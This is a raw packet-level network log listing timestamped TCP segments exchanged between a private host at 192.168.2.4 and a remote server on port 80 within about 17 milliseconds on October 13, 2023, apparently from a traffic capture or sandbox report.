Oct 13, 2023 16:05:55.926328897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.926356077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926470041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926517963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.926553965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926631927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926685095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.926693916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926835060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926882029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.926918030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926991940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927036047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.927087069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927186012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927237988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.927288055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927388906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927433968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.927469969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927546978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927603006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.927634001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927709103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927755117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.927791119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927905083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.927953005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.927988052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928107023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928148031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.928196907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928284883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928335905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.928389072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928467989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928508997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.928561926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928639889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928682089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.928718090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928863049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.928905010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.928942919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929009914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929058075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.929095030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929207087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929261923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929270029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.929366112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929405928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.929485083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929636955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929677010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.929728985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929821968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.929863930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.929915905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930003881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930042982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.930094004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930208921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930252075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.930288076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930382013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930424929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.930485010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930537939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930581093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.930710077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930799961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930846930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.930882931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.930964947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931005001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.931056023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931103945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931149006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.931163073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931210041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931252003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.931293964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931324005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931379080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931385040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.931468964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931514025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.931583881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931688070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931730032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.931766033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931798935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931838036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.931859970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931934118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.931973934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932035923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932104111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932148933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932167053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932212114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932251930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932290077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932353020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932408094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932424068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932523966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932564974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932591915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932646036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932686090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932714939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932781935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932822943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932871103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932888031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.932921886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.932966948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933008909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933051109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.933072090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933126926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933163881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.933175087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933237076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933283091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.933306932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933371067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933433056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.933446884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933491945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933531046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.933608055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933681965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933722019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.933752060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933829069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933845997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933867931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.933938980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933976889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.933979034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934035063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934077978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934104919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934137106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934176922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934220076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934297085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934334993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934361935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934422970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934473038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934485912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934556007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934596062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934623003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934674025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934715986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934726954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934788942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934828043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934850931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934927940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.934968948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.934998035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935064077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935105085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935116053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935148001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935187101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935247898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935302973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935331106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935343027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935410976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935472012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935499907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935528994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935564995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935570955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935621977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935657024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935699940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935796022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935812950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935832977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935883999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.935920000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.935986042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936072111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936110020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.936155081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936266899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936310053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.936340094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936434031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936515093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936516047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.936614037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936654091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.936695099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936789036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936827898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.936908960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.936971903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937011957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.937068939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937163115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937201977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.937253952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937290907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937319994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937330008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.937390089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937463045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.937553883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937617064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937657118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.937685966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937738895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937777042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.937783957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937845945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.937885046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.937927008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938024998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938066959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938122034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938200951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938216925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938239098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938314915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938369989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938374043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938446045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938493013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938518047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938539982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938543081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938582897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938587904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938633919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938673019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938700914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938806057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938844919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.938868046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.938968897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939007998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939034939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939106941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939146042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939162970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939224958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939265966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939292908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939353943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939389944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939395905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939431906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939474106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939501047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939567089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939625978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939626932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939657927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939698935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939707041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939742088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939770937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939811945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939853907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939937115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.939976931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.939984083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940022945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940057039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.940133095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940227032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940243959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940263987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.940320969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940361977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.940375090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940406084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940447092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.940490007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940540075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940583944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.940609932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940670013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940731049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.940758944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940841913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.940880060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941036940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941092968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941133022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941160917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941227913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941253901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941267967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941354990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941396952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941423893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941442013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941482067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941524029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941570997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941586971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941610098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941665888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941706896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941750050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941795111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941836119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941850901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941873074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941910028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.941951990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.941962004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.942075014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.942092896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.942123890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.942151070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.942193031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.942208052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.942285061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.942327976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.942363977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943186998 CEST	80	49762	91.215.85.17	192.168.2.4
